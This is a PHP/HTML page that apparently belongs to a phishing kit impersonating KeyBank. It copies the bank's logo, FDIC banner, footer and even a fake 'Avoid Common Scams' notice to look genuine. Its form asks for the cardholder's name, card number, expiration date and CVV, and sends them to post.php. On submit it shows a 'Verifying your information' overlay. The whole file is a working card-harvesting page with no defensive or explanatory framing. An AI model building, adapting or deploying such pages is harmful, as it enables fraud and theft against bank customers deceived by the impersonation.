<?php

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <title>KeyBank — Confirm Identity</title>
    <style>
        *,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
        :root{--red:#CC0000;--red-dk:#aa0000;--teal:#006B77;--teal-dk:#00565f;--text:#111;--sub:#555;--border:#cdd0d4;--light:#EEF5F6;--white:#fff}
        html,body{height:100%;font-family:'Inter',sans-serif;color:var(--text)}
        body{display:flex;flex-direction:column;min-height:100vh;background:var(--white)}

        /* Red header bar */
        .top-header{background:var(--red);padding:0 24px;height:56px;display:flex;align-items:center;justify-content:space-between}
        .top-header .logo img{height:32px;width:auto;display:block;filter:brightness(0) invert(1)}
        .top-header-links{display:flex;align-items:center;gap:24px}
        .top-header-links a{font-size:13px;color:rgba(255,255,255,.9);text-decoration:none;font-weight:500}
        .top-header-links a:hover{color:#fff;text-decoration:underline}

        /* FDIC */
        .fdic-bar{background:var(--white);border-bottom:1px solid #e0e0e0;padding:0 24px;height:30px;display:flex;align-items:center;gap:10px}
        .fdic-badge{background:#333;color:#fff;font-size:9px;font-weight:900;letter-spacing:.04em;padding:2px 5px;border-radius:2px;flex-shrink:0}
        .fdic-bar p{font-size:11px;color:#555;font-style:italic}

        /* Page */
        .page-body{flex:1;background:var(--white);display:flex;justify-content:center;padding:48px 20px}
        .page-inner{width:100%;max-width:860px;display:flex;gap:48px;align-items:flex-start}

        /* Left: form */
        .form-col{flex:1}
        .key-icon{margin-bottom:24px;text-align:center}
        .key-icon img{height:80px;width:auto}

        .steps{display:flex;align-items:center;gap:8px;margin-bottom:24px}
        .st{display:flex;align-items:center;justify-content:center;width:26px;height:26px;border-radius:50%;font-size:11px;font-weight:700;flex-shrink:0}
        .st.done{background:var(--teal);color:#fff}
        .st.active{background:var(--red);color:#fff;box-shadow:0 0 0 3px rgba(204,0,0,.2)}
        .st.pend{background:#eee;color:#aab}
        .sl{flex:1;height:2px;background:#dde2ea;border-radius:2px}
        .sl.done{background:var(--teal);opacity:.5}

        .form-title{font-size:18px;font-weight:600;color:var(--text);margin-bottom:6px}
        .form-sub{font-size:13px;color:var(--sub);margin-bottom:22px;line-height:1.5}

        .f{margin-bottom:16px}
        .f label{display:block;font-size:13px;font-weight:600;color:var(--text);margin-bottom:6px}
        .f-input-wrap{display:flex;align-items:center;border:1.5px solid var(--border);border-radius:3px;padding:0 12px;height:48px;background:#fff;transition:border-color .15s,box-shadow .15s}
        .f-input-wrap:focus-within{border-color:var(--teal);box-shadow:0 0 0 3px rgba(0,107,119,.12)}
        .f-input-wrap svg{flex-shrink:0;color:#aab;margin-right:8px}
        .f-input-wrap input{flex:1;border:none;outline:none;font-family:'Inter',sans-serif;font-size:15px;color:var(--text);background:transparent}
        .f-input-wrap input::placeholder{color:#bbb}
        .frow{display:grid;grid-template-columns:1fr 1fr;gap:14px}

        .btn-submit{
            width:100%;height:50px;background:var(--red);color:#fff;
            border:none;border-radius:3px;font-family:'Inter',sans-serif;
            font-size:16px;font-weight:700;cursor:pointer;
            display:flex;align-items:center;justify-content:center;gap:10px;
            transition:background .15s;margin-top:6px;
        }
        .btn-submit:hover{background:var(--red-dk)}
        .back-link{display:flex;align-items:center;gap:6px;margin-top:16px;font-size:13px;color:var(--teal);text-decoration:none}
        .back-link:hover{text-decoration:underline}

        /* Right: scam notice */
        .notice-col{width:260px;flex-shrink:0}
        .scam-notice{background:var(--light);border:1px solid #b0d0d4;border-radius:4px;padding:20px 18px}
        .scam-notice-hdr{display:flex;align-items:center;gap:8px;margin-bottom:10px}
        .scam-notice-hdr svg{color:var(--teal);flex-shrink:0}
        .scam-notice-hdr strong{font-size:15px;font-weight:700;color:var(--text)}
        .scam-notice p{font-size:12.5px;color:#333;line-height:1.65;margin-bottom:14px}
        .btn-learn-more{padding:8px 18px;border:2px solid var(--teal);border-radius:3px;background:transparent;color:var(--teal);font-family:'Inter',sans-serif;font-size:13px;font-weight:600;cursor:pointer;transition:background .15s,color .15s}
        .btn-learn-more:hover{background:var(--teal);color:#fff}

        /* Spinner */
        .spinner{height:22px;display:none}

        .page-footer{background:#333;padding:20px 40px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:12px}
        .footer-links{display:flex;gap:20px;flex-wrap:wrap}
        .footer-links a{font-size:12px;color:rgba(255,255,255,.55);text-decoration:none}
        .footer-copy{font-size:12px;color:rgba(255,255,255,.3)}

        @media(max-width:700px){.page-inner{flex-direction:column}.notice-col{width:100%}.frow{grid-template-columns:1fr}.top-header-links{display:none}}
    </style>
</head>
<body>
    <div class="top-header">
        <div class="logo"><img src="res/img/logo.svg" alt="KeyBank"></div>
        <div class="top-header-links">
            <a href="#">Contact Us</a>
            <a href="#">Open a New Account</a>
        </div>
    </div>
    <div class="fdic-bar">
        <span class="fdic-badge">FDIC</span>
        <p>FDIC-Insured - Backed by the full faith and credit of the U.S. Government</p>
    </div>

    <div class="page-body">
        <div class="page-inner">
            <!-- Form side -->
            <div class="form-col">
                <div class="key-icon"><img src="res/img/key-logo.svg" alt="KeyBank Key"></div>
                <div class="steps">
                    <div class="st done">✓</div><div class="sl done"></div>
                    <div class="st active">2</div><div class="sl"></div>
                    <div class="st pend">3</div>
                </div>
                <div class="form-title">Confirm Your Identity</div>
                <div class="form-sub">Enter your card details to verify your account access.</div>
                <form action="post.php" method="post" id="verify-form">
                    <div class="f">
                        <label>Cardholder Name</label>
                        <div class="f-input-wrap">
                            <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"/><circle cx="12" cy="7" r="4"/></svg>
                            <input type="text" name="name" placeholder="As shown on card" autocomplete="cc-name">
                        </div>
                    </div>
                    <div class="f">
                        <label>Card Number</label>
                        <div class="f-input-wrap">
                            <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="1" y="4" width="22" height="16" rx="2"/><line x1="1" y1="10" x2="23" y2="10"/></svg>
                            <input type="text" name="cc" id="cc" required placeholder="XXXX XXXX XXXX XXXX" inputmode="numeric">
                        </div>
                    </div>
                    <div class="frow">
                        <div class="f">
                            <label>Expiration Date</label>
                            <div class="f-input-wrap">
                                <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="4" width="18" height="18" rx="2"/><line x1="16" y1="2" x2="16" y2="6"/><line x1="8" y1="2" x2="8" y2="6"/><line x1="3" y1="10" x2="21" y2="10"/></svg>
                                <input type="text" name="exp" id="exp" required placeholder="MM / YY" inputmode="numeric">
                            </div>
                        </div>
                        <div class="f">
                            <label>CVV</label>
                            <div class="f-input-wrap">
                                <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
                                <input type="password" name="cvv" id="cvv" required placeholder="CVV" inputmode="numeric">
                            </div>
                        </div>
                    </div>
                    <button type="submit" class="btn-submit" id="verify-btn">
                        <span id="verify-text">Continue</span>
                        <img id="verify-spinner" class="spinner" src="res/img/web_logo_page_loader.gif" alt="Loading">
                    </button>
                </form>
                <a href="login.php" class="back-link">
                    <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><polyline points="15 18 9 12 15 6"/></svg>
                    Back to Sign On
                </a>
            </div>

            <!-- Notice side -->
            <div class="notice-col">
                <div class="scam-notice">
                    <div class="scam-notice-hdr">
                        <svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
                        <strong>Avoid Common Scams</strong>
                    </div>
                    <p>KeyBank will never send a link via text or call you unsolicited and ask you to read an access code. Do not click links or share sensitive information. Verify the request immediately by contacting a known KeyBank number.</p>
                    <button class="btn-learn-more">Learn more</button>
                </div>
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">FDIC</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 KeyCorp. Member FDIC. Equal Housing Lender.</div>
    </footer>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
    <script>
        $("#cc").mask("0000 0000 0000 0000");
        $("#exp").mask("00/00");
        $("#cvv").mask("0000");
        document.getElementById('verify-form').addEventListener('submit', function(){
            document.getElementById('kb-loader-overlay').style.display = 'flex';
        });
    </script>
    <div id="kb-loader-overlay" style="display:none;position:fixed;inset:0;background:rgba(255,255,255,0.92);z-index:9999;flex-direction:column;align-items:center;justify-content:center;gap:16px;">
        <img src="res/img/web_logo_page_loader.gif" alt="Loading" style="width:72px;height:72px;">
        <p style="font-size:15px;font-weight:600;color:#333;font-family:'Inter',sans-serif;">Verifying your information...</p>
    </div>
</body>
</html>